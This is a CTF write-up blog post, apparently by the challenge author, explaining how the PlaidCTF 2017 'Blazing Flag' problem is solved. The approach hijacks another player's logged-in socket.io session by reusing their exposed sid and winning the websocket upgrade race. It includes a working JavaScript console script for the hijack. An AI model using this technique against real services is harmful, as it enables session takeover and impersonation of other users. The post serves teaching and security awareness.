Down to the Wire

Toaster Week Part 4: TW2.5 Blazing Flag

It occurred to me about a month ago that I never published author writeups for the “Toaster Wars: Going Rogue” CTF problems from PicoCTF 2017 and PlaidCTF 2017, which is particularly troubling since one of them wasn’t actually solved in contest! To remedy this, and in celebration of the release of a new game in the series that inspired these problems later this week, I’ll be posting writeups for all of the Toaster Wars problems over the course of the week.

For day four, I’ll be talking about the Blazing Flag from PlaidCTF 2017.

Toaster Wars: Going Rogue, Episode 2.5 – Blazing Flag

I’d heard of the weird region-specific edition of TW:GR, but I didn’t know they were planning on bringing it to the masses. And as a neat online game, no less! They just put out a public beta.

Blazing Flag (300 points): Based on the site, there’s a dungeon called Shallow Sand Bar that’s only open to players from their closed alpha. Surely that won’t stop you from getting the flag at the end of that dungeon.

As the problem indicates, there’s one dungeon that we aren’t given access to because we’re not an alpha tester:

No sand bar for you

However, on the main page, there’s a “recent activity” box, which shows that players of the alpha occasionally log into the game:

An alpha player appeared!

If you watch this “recent activity” panel carefully, you’ll also notice that the alpha player logins are always preceded by guests joining the game. This is because the client joins as a guest first before upgrading to a logged-in user.

The first thing to check is how logging in is implemented on both the server and client. In server.ts, we can see that every client is allowed to send a single "login" event with their credentials:

TypeScript content_copy server/comm-layer/server.ts (excerpt)
socket.once("login", (user: string, pass: string) => {
	login.checkLogin(user, pass)
		.then((user) => {
			controllerMap.get(socket.id).user = user;
			io.emit("feed", { type: "login", user: user, id: socket.id });
		})
		.catch(() => {
			// Do nothing
		});
});

The actual mechanics of the checkLogin call are in login.ts:

TypeScript content_copy server/comm-layer/login.ts
"use strict";

import * as crypto from "crypto";
import * as redis  from "redis";

const redisClient = redis.createClient();
const log = require("beautiful-log")("dk:login");

export function checkLogin(user: string, pass: string): Promise<User> {
	return new Promise((resolve, reject) => {
		if (typeof user !== "string" || typeof pass !== "string" || !/^[A-Za-z0-9_]+$/.test(user)) {
			// Not in my house
			log("rip");
			reject();
			return;
		}

		let hash = crypto.createHash("sha256");
		hash.update(pass);

		redisClient.get(`user:${user}`, (err: Error, pw: string) => {
			if (!err && hash.digest("hex") === pw) {
				log("Logged in!");
				resolve(user);
			} else {
				reject();
			}
		});
	});
}

The validation checks at the beginning appear sufficient to block any kind of redis injection attack, and although the password hash comparison is not timing-attack safe, exploiting that is almost certainly infeasible due to network jitter and the ridiculous amount of hash-cracking required to execute the attack.

Client-side, we can see that the login form is actually just setting a couple of keys in localStorage before redirecting the user to the game:

JavaScript content_copy client/index.html (excerpt)
function login() {
	localStorage.setItem("user", document.getElementById("user").value);
	localStorage.setItem("pass", document.getElementById("pass").value);
	go();
	return false;
}

function guest() {
	go();
	return false;
}

function go() {
	window.location = "/game";
}

Once in the game, the client uses the credentials in localStorage to log in, more or less immediately after the page loads:

TypeScript content_copy client/ts/client.ts (excerpt)
function init(): void {
	socket = new GameSocket();

	/* ...a couple of irrelevant event listeners... */

	if (localStorage.getItem("user") && localStorage.getItem("pass")) {
		socket.login(localStorage.getItem("user"), localStorage.getItem("pass"));
	}
	
	/* ...more init... */
}

Ok, so the problem setup so far is that we have:

  • A server that appears to be properly protected against injection attacks
  • An infeasible timing attack option
  • XSS bots, but no way of actually sending them a payload

So if the server isn’t exploitable and the client isn’t exploitable, what does that leave? The transport!

The game uses socket.io to power all of its communication, so let’s look at how that works. socket.io is built on engine.io, a communication layer that works across multiple transports. By default, when first creating a Socket object, it connects over the HTTP-based polling transport. As part of the initial handshake, the server can declare other transports for which it has support; the default socket.io server will declare its ability to upgrade to websocket transport here. At some future point, the client may then actually perform the upgrade and start using the new transport if it supports it.

Here’s a timeline of what happens when a client with a login connects to the game:

A timeline of an incoming connection

  1. The client connects over polling and receives a socket id (sid)
  2. Client polls the server to receive messages (in this case, the feed message from its own connection) using the sid it received
  3. Client sends its credentials to the server over polling using the sid it received
  4. Client upgrades to a websocket connection using the sid it received

So what would happen if someone else were to connect with the sid the server gave you? It turns out that socket.io doesn’t do any IP-pinning or have any other secrets – it actually treats the sid as both an identifier and a secret!

In most uses of socket.io, this would likely not be an issue. However, in the Toaster Wars client, it turns out the credentials are always sent before the websocket upgrade. This means that we could theoretically hijack the connection after it has already logged in as an alpha player! In particular, we want to do something like this:

A timeline of hijacking a connection

By initializing a websocket connection before the original client, we can consistently win the race to upgrade transports. As it turns out, this race isn’t even actually all that tight; we actually have a couple hundred milliseconds of leeway here.

My solution involves pasting this script in the console to hijack the next incoming connection to the game and patch the resulting websocket into the game socket object:

JavaScript content_copy
let hijack = true;

socket.socket.on("feed", ({ type, user }) => {
	if (type === "connect" && hijack) {
		hijack = false;
		console.info("hijacking", user);
		let ws = new WebSocket('ws://' + location.host + '/socket.io/?EIO=3&transport=websocket&t=1&sid=' + user);

		ws.onopen = () => {
			ws.send("2probe"); // socket.io probes a transport before using it
			ws.send("5"); // this confirms the switch of protocols

			// attach this new websocket to our existing socket.io object
			socket.socket.io.engine.transport.ws = ws;
			socket.socket.io.engine.transport.addEventListeners();
			console.info("ready!");
		};

		ws.onclose = () => console.error("rip");
	}
});

Here’s a video of it in action (though there’s really not a whole lot to see here):

So what should we take away from this probelm? I’d say the key thing is to never treat identifiers as secrets, or at the very least document it if users shouldn’t expose their ids! This problem only came about because I was legitimately confused on whether or not exposing socket.io ids was kosher, and nothing in the documentation really convinced me one way or the other.


Come back again tomorrow for the final installment of Toaster Week, where we’ll be discussing the hardest iteration of Toaster Wars: the unsolved Stormy Flag from PlaidCTF 2017!